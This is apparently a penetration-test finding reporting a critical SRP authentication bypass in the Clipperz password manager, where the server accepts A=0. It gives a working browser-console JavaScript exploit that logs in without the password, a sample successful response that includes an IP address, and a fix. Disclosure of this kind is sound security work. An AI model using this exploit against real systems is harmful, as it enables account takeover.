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88 lines
3.1 KiB
Plaintext
88 lines
3.1 KiB
Plaintext
CLP-01-017 SRP Authentication Bypass (Critical)
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The Clipperz application implements the Secure Remote Password protocol
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for authentication. The specification explicitly states that the
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parameter A provided by the client must not be zero. The Clipperz
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implementation omits this check, which makes password verification
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trivial to bypass.
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According to the SRP-6 specification, the shared secret is on the server
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side calculated as (Avu)b where A is supplied by the client. If A is
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zero the result is also zero, and the resulting shared key is H(0). The
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corresponding proof can easily be calculated by the attacker as H(0 | B
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| H(0)). The following JavaScript function can be run in the console
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when on the Clipperz login page. While the page itself is not updated,
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the resulting JSON response clearly indicates a successful login.
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SRP authentication bypass PoC:
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(function PoC(){
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function send(m,p){
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x=new XMLHttpRequest();
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x.open('post','/json',false);
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x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
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x.send('method='+m+'¶meters='+urlEncode(JSON.stringify(p)));
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return JSON.parse(x.responseText);
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}
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r=send('knock',{"requestType":"CONNECT"});
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r=send('handshake',{"parameters":
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{"message":"connect",
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"version":"0.2",
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"parameters":
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{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
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"A":"0"}},
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"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
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B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
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S=new Clipperz.ByteArray("0")
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K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
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M1=new Clipperz.ByteArray("0"+B+K)
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M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
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return send('handshake',{"parameters":
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{"message":"credentialCheck",
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"version":"0.2",
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"parameters":{"M1":M1}},
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"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
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})()
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Example JSON response:
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{"result":
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{"subscription":
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{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
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"features":["OFFLINE_COPY","LIST_CARDS"],
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"toDate":"Mon, 01 January 4001 00:00:00 UTC",
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"type":"EARLY_ADOPTER"},
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"loginInfo":
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{"current":
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{"operatingSystem":"LINUX",
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"disconnectionType":"STILL_CONNECTED",
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"browser":"FIREFOX",
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"connectionType":"LOGIN",
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"date":"Tue, 06 May 2014 03:09:28 UTC",
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"country":"SE",
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"ip":"83.248.183.26"},
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"latest":
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{"operatingSystem":"LINUX",
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"disconnectionType":"SESSION_EXPIRED",
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"browser":"FIREFOX",
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"connectionType":"LOGIN",
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"date":"Tue, 06 May 2014 02:16:36 UTC",
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"country":"SE",
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"ip":"83.248.183.26"}},
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"connectionId":
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"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
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"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
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"offlineCopyNeeded":true,
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"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
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"toll":
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{"targetValue":
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"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
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"requestType":"MESSAGE",
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"cost":2}
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}
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To mitigate the issue sufficiently, the server needs to verify that A
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cannot be 0 so the attack cannot be carried out. |